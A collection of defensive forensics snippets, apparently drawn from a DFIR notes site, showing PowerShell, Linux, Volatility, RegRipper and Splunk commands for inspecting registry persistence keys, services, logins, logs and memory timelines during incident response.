Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Enumerate drives with Get-PSDrive. Retrieve files in a directory recursively. Query registry keys for persistence or specific information. Search log files for keywords.

```powershell
Get-PSDrive
```

```powershell
Get-ChildItem -Path C:\path\to\directory -Recurse
```

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\Shell\BagMRU"
```

```powershell
Get-ChildItem -Path "C:\Logs\" -Filter *.log | Select-String -Pattern "error|fail|attack"
```

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" |
Where-Object { $_.Property -match "cmd|powershell|vbs" }
```

```powershell
Get-ChildItem -Path HKLM:\ -Recurse | Get-ItemProperty -ErrorAction SilentlyContinue |
Where-Object { $_.PSChildName -match "suspicious_keyword" }
```

```powershell
Get-Item "C:\path\to\file.txt" | Select-Object -Property Name, CreationTime, LastAccessTime, LastWriteTime
```

--------------------------------

### Inspect BIOS Information

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Displays detailed information about the system's BIOS, including manufacturer, version, and release date.

```powershell
Get-CimInstance -ClassName Win32_BIOS | Format-List -Property *
```

--------------------------------

### System Logs Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Common system log file locations for Debian-based and Red Hat-based systems, along with kernel ring buffer messages.

```text
/var/log/syslog (Debian-based systems): Logs system messages and information about startup services.
    /var/log/messages (Red Hat-based systems): General-purpose system log containing kernel and application messages.
    /var/log/dmesg: Kernel ring buffer messages, useful for identifying hardware and driver issues.
```

--------------------------------

### List Service Details

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Retrieves detailed information about services, including their names, captions, descriptions, and the path to their executable files.

```powershell
Get-CimInstance -ClassName Win32_Service | Format-List Name, Caption, Description, PathName
```

--------------------------------

### Create Attack Timeline

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

Uses the timeliner plugin to extract a chronological sequence of events from a memory dump to build an attack timeline.

```bash
vol.py -f <memory image> windows.timeliner --output-file timeline.csv
```

--------------------------------

### Track User Activity and Logins

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

List active user sessions with quser. Retrieve local user accounts using Get-LocalUser. Monitor security event logs for successful login events (Event ID 4624).

```powershell
quser
```

```powershell
Get-LocalUser
```

```powershell
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4624}
```

--------------------------------

### RegRipper System Information Plugins

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-registry-forensics-with-regripper

Lists RegRipper plugins for gathering system information, including timezone, computer name, user profiles, network cards, and OS version.

```plaintext
timezone: Provides timezone information of the machine, which can be useful for correlating event times.
computername: Shows the computer’s name.
profilelist: Displays user profiles on the machine, indicating all registered users.
networkcards: Lists network interface cards, which may reveal additional network information.
osversion: Shows the OS version and build number.
```

--------------------------------

### Find Files by Extension

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Use 'find' to locate files with a specific extension, such as '.sh' scripts.

```bash
find / -type f -name "*.sh"
```

--------------------------------

### List All Splunk Indexes

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/incident-response-splunk-filters

Use this command to list all available indexes in Splunk and count events per index.

```splunk
| eventcount summarize=false index=* 
| stats count by index
```

```splunk
| rest /services/data/indexes
| table title
```
Tokens:
Raw